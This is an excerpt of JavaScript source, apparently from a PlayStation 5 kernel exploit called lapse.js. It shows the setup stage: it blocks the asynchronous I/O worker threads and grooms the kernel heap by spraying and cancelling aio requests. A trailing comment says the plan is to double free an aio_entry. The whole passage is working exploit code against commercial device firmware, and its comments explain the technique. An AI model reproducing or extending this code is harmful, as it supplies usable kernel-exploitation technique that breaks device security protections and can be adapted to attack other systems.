Function setup

g2all/900/lapse.js:1648–1673

(block_fd)

// FUNCTIONS FOR STAGE: SETUP

function setup(block_fd) {
    // this part will block the worker threads from processing entries so that
    // we may cancel them instead. this is to work around the fact that
    // aio_worker_entry2() will fdrop() the file associated with the aio_entry
    // on ps5. we want aio_multi_delete() to call fdrop()
    log('block AIO');
    const reqs1 = new Buffer(0x28 * num_workers);
    const block_id = new Word();

    for (let i = 0; i < num_workers; i++) {
        reqs1.write32(8 + i*0x28, 1);
        reqs1.write32(0x20 + i*0x28, block_fd);
    }
    aio_submit_cmd(AIO_CMD_READ, reqs1.addr, num_workers, block_id.addr);

    log('heap grooming');
    // chosen to maximize the number of 0x80 malloc allocs per submission
    const num_reqs = 3;
    const groom_ids = new View4(num_grooms);
    const groom_ids_p = groom_ids.addr;
    const greqs = make_reqs1(num_reqs);
    // allocate enough so that we start allocating from a newly created slab
    spray_aio(num_grooms, greqs.addr, num_reqs, groom_ids_p, false);
    cancel_aios(groom_ids_p, num_grooms);        
    return [block_id, groom_ids];
}

// overview:
// * double free a aio_entry (resides at a 0x80 malloc zone)